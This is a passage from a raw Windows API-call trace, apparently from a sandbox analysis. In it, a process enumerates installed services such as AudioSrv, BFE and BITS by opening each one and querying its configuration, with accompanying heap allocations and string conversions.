lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c898d0 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89918) returned 1 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c898d0) returned 1 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c898d0 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f9c8 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fa50 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fad8 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fb60 [0027.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89918 [0027.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1c89918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0027.329] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89960 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89918) returned 1 [0027.329] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89960) returned 1 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fb60) returned 1 [0027.330] OpenServiceW (hSCManager=0x286c38, lpServiceName="AudioSrv", dwDesiredAccess=0x1) returned 0x286d00 [0027.330] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.330] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.330] GetLastError () returned 0x7a [0027.330] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x190, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c82ff8 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fb60 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fb60) returned 1 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fb60 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fb60) returned 1 [0027.330] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.330] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89960 [0027.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89918 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89960) returned 1 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89918) returned 1 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233f940) returned 1 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89918 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233f940 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fb60 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fbe8 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fc70 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fcf8 [0027.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89960 [0027.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1c89960, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0027.331] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899a8 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89960) returned 1 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899a8) returned 1 [0027.331] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fcf8) returned 1 [0027.331] OpenServiceW (hSCManager=0x286c38, lpServiceName="AxInstSV", dwDesiredAccess=0x1) returned 0x286dc8 [0027.331] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.331] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.332] GetLastError () returned 0x7a [0027.332] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fcf8 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fd80 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fcf8) returned 1 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fd80) returned 1 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fd80 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fcf8 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fd80) returned 1 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fcf8) returned 1 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fcf8 [0027.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899a8 [0027.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c899a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89960 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899a8) returned 1 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89960) returned 1 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233fcf8) returned 1 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89960 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fcf8 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233fd80 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83118 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c831a0 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83228 [0027.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899a8 [0027.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1c899a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0027.332] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899f0 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899a8) returned 1 [0027.332] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899f0) returned 1 [0027.333] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83228) returned 1 [0027.333] OpenServiceW (hSCManager=0x286c38, lpServiceName="BDESVC", dwDesiredAccess=0x1) returned 0x286d28 [0027.333] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.333] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.333] GetLastError () returned 0x7a [0027.333] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x11e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83228 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c832b0 [0027.333] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83228) returned 1 [0027.333] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c832b0) returned 1 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c832b0 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83228 [0027.333] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c832b0) returned 1 [0027.333] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83228) returned 1 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83228 [0027.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.333] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899f0 [0027.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c899f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899a8 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899f0) returned 1 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899a8) returned 1 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83228) returned 1 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899a8 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83228 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c832b0 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83338 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c833c0 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83448 [0027.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899f0 [0027.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1c899f0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0027.334] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a38 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899f0) returned 1 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a38) returned 1 [0027.334] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83448) returned 1 [0027.334] OpenServiceW (hSCManager=0x286c38, lpServiceName="BFE", dwDesiredAccess=0x1) returned 0x286e18 [0027.334] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.334] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.334] GetLastError () returned 0x7a [0027.335] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83448 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c834d0 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83448) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c834d0) returned 1 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c834d0 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83448 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c834d0) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83448) returned 1 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83448 [0027.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a38 [0027.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89a38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899f0 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a38) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c899f0) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83448) returned 1 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c899f0 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83448 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c834d0 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83558 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c835e0 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83668 [0027.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a38 [0027.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1c89a38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0027.335] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a80 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a38) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a80) returned 1 [0027.335] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83668) returned 1 [0027.335] OpenServiceW (hSCManager=0x286c38, lpServiceName="BITS", dwDesiredAccess=0x1) returned 0x286d00 [0027.336] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.336] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.336] GetLastError () returned 0x7a [0027.336] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83668 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c836f0 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83668) returned 1 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c836f0) returned 1 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c836f0 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83668 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c836f0) returned 1 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83668) returned 1 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83668 [0027.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a80 [0027.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.336] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a38 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a80) returned 1 [0027.336] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a38) returned 1 [0027.337] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83668) returned 1 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a38 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83668 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c836f0 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83778 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83800 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83888 [0027.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89a80 [0027.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1c89a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0027.337] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ac8 [0027.337] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89a80) returned 1 [0027.337] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ac8) returned 1 [0027.337] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83888) returned 1 [0027.337] OpenServiceW (hSCManager=0x286c38, lpServiceName="Browser", dwDesiredAccess=0x1) returned 0x286dc8 [0027.337] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.337] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.337] GetLastError () returned 0x7a [0027.337] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.338] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83888 [0027.338] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83910 [0027.338] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83888) returned 1 [0027.338] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83910) returned 1 [0027.338] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83910 [0027.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1c89ac8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0027.338] OpenServiceW (hSCManager=0x286c38, lpServiceName="bthserv", dwDesiredAccess=0x1) returned 0x286d28 [0027.338] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.338] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.338] GetLastError () returned 0x7a [0027.338] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 